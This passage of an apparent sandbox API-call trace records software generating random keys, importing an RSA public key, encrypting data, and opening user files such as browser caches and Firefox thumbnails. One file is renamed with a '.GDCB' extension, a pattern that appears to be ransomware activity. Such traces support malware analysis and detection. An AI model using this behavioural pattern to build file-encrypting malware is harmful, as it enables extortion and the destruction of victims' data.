pbData=0xc7d0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xc7d0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0246.970] GetLastError () returned 0x0 [0246.970] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0246.970] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\Windows.PurchaseDialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\1079934665\\2034961148.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\windows.purchasedialog_6.2.0.0_neutral_neutral_cw5n1h2txyewy\\1079934665\\2034961148.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0246.988] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0246.991] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.993] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.993] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0246.993] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.993] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0246.996] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0246.998] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0246.998] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0246.998] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0246.998] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4980) returned 1 [0247.000] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677ecc8) returned 1 [0247.000] CryptGetKeyParam (in: hKey=0x677ecc8, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0247.000] CryptEncrypt (in: hKey=0x677ecc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc7e0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xc7e0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0247.000] GetLastError () returned 0x0 [0247.000] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0247.000] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0247.002] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677eb48) returned 1 [0247.002] CryptGetKeyParam (in: hKey=0x677eb48, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0247.002] CryptEncrypt (in: hKey=0x677eb48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc7f0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xc7f0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0247.003] GetLastError () returned 0x0 [0247.003] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.003] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0247.023] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4760) returned 1 [0247.027] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.029] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.029] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ddac | out: pbBuffer=0x285ddac) returned 1 [0247.029] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.029] CryptAcquireContextW (in: phProv=0x285dc5c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285dc5c*=0x5c4980) returned 1 [0247.032] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.034] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.035] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285dd78 | out: pbBuffer=0x285dd78) returned 1 [0247.035] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0247.035] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0247.037] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x677e288) returned 1 [0247.037] CryptGetKeyParam (in: hKey=0x677e288, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0247.037] CryptEncrypt (in: hKey=0x677e288, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc800000*, pdwDataLen=0x285ddc4*=0xc8, dwBufLen=0x800 | out: pbData=0xc800000*, pdwDataLen=0x285ddc4*=0x100) returned 1 [0247.037] GetLastError () returned 0x0 [0247.037] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.037] CryptAcquireContextW (in: phProv=0x285dc4c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285dc4c*=0x5c4760) returned 1 [0247.039] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285dc50 | out: phKey=0x285dc50*=0x677e9c8) returned 1 [0247.039] CryptGetKeyParam (in: hKey=0x677e9c8, dwParam=0x8, pbData=0x285dc3c, pdwDataLen=0x285dc44, dwFlags=0x0 | out: pbData=0x285dc3c*=0x800, pdwDataLen=0x285dc44*=0x4) returned 1 [0247.039] CryptEncrypt (in: hKey=0x677e9c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc810000*, pdwDataLen=0x285ddc8*=0xc8, dwBufLen=0x800 | out: pbData=0xc810000*, pdwDataLen=0x285ddc8*=0x100) returned 1 [0247.039] GetLastError () returned 0x0 [0247.039] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.039] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\usrclass.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0247.044] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0247.047] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.049] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.049] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0247.049] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.049] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0247.052] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.054] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.054] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0247.054] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.054] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0247.057] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677eb08) returned 1 [0247.057] CryptGetKeyParam (in: hKey=0x677eb08, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0247.057] CryptEncrypt (in: hKey=0x677eb08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc820000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xc820000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0247.057] GetLastError () returned 0x0 [0247.057] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0247.057] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0247.059] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677ef48) returned 1 [0247.059] CryptGetKeyParam (in: hKey=0x677ef48, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0247.059] CryptEncrypt (in: hKey=0x677ef48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc830000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xc830000*, pdwDataLen=0x285db40*=0x100) returned 1 [0247.059] GetLastError () returned 0x0 [0247.059] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.059] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V01.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v01.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0247.062] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0247.065] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.068] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.068] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0247.068] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.069] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0247.071] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.073] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.074] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0247.074] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0247.074] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0247.076] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677ec08) returned 1 [0247.076] CryptGetKeyParam (in: hKey=0x677ec08, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0247.076] CryptEncrypt (in: hKey=0x677ec08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc840000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xc840000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0247.076] GetLastError () returned 0x0 [0247.076] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.076] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0247.078] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677ee48) returned 1 [0247.078] CryptGetKeyParam (in: hKey=0x677ee48, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0247.078] CryptEncrypt (in: hKey=0x677ee48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc850000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xc850000*, pdwDataLen=0x285db40*=0x100) returned 1 [0247.079] GetLastError () returned 0x0 [0247.079] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0247.079] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\V01tmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\v01tmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0247.081] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0247.085] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.087] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.087] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0247.087] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.087] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0247.090] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.092] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.092] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0247.092] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0247.092] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0247.094] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677ea08) returned 1 [0247.094] CryptGetKeyParam (in: hKey=0x677ea08, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0247.094] CryptEncrypt (in: hKey=0x677ea08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc860000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0xc860000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0247.094] GetLastError () returned 0x0 [0247.095] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.095] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4760) returned 1 [0247.097] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x677f048) returned 1 [0247.097] CryptGetKeyParam (in: hKey=0x677f048, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0247.097] CryptEncrypt (in: hKey=0x677f048, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc870000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0xc870000*, pdwDataLen=0x285db40*=0x100) returned 1 [0247.097] GetLastError () returned 0x0 [0247.097] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.097] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\webcache\\webcachev01.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0247.197] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0247.200] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.202] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.202] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0247.202] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0247.202] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0247.205] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.207] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.207] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0247.207] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0247.208] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0247.210] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677ec88) returned 1 [0247.210] CryptGetKeyParam (in: hKey=0x677ec88, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0247.210] CryptEncrypt (in: hKey=0x677ec88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0247.210] GetLastError () returned 0x0 [0247.210] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0247.210] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0247.212] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677eb88) returned 1 [0247.212] CryptGetKeyParam (in: hKey=0x677eb88, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0247.212] CryptEncrypt (in: hKey=0x677eb88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d630*=0x100) returned 1 [0247.212] GetLastError () returned 0x0 [0247.212] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.212] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\0e292d2be40784b709a96299f7f56c4c.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\0e292d2be40784b709a96299f7f56c4c.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0247.213] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0247.216] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0247.219] ReadFile (in: hFile=0x528, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d670*=0x4304, lpOverlapped=0x0) returned 1 [0247.244] VirtualAlloc (lpAddress=0x0, dwSize=0x4310, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0247.250] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\0e292d2be40784b709a96299f7f56c4c.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\0e292d2be40784b709a96299f7f56c4c.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\thumbnails\\0e292d2be40784b709a96299f7f56c4c.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\mozilla\\firefox\\profiles\\8i341t8m.default\\thumbnails\\0e292d2be40784b709a96299f7f56c4c.png.gdcb")) returned 1 [0247.255] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0247.259] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.261] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.261] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0247.261] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0247.261] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0247.264] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0247.266] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0247.266] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0247.266] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.266] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0247.269] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677e988) returned 1 [0247.269] CryptGetKeyParam (in: hKey=0x677e988, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0247.269] CryptEncrypt (in: hKey=0x677e988, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0247.269] GetLastError () returned 0x0 [0247.269] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0247.269] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0247.271] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x677ec48) returned 1 [0247.271] CryptGetKeyParam (in: hKey=0x677ec48, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, 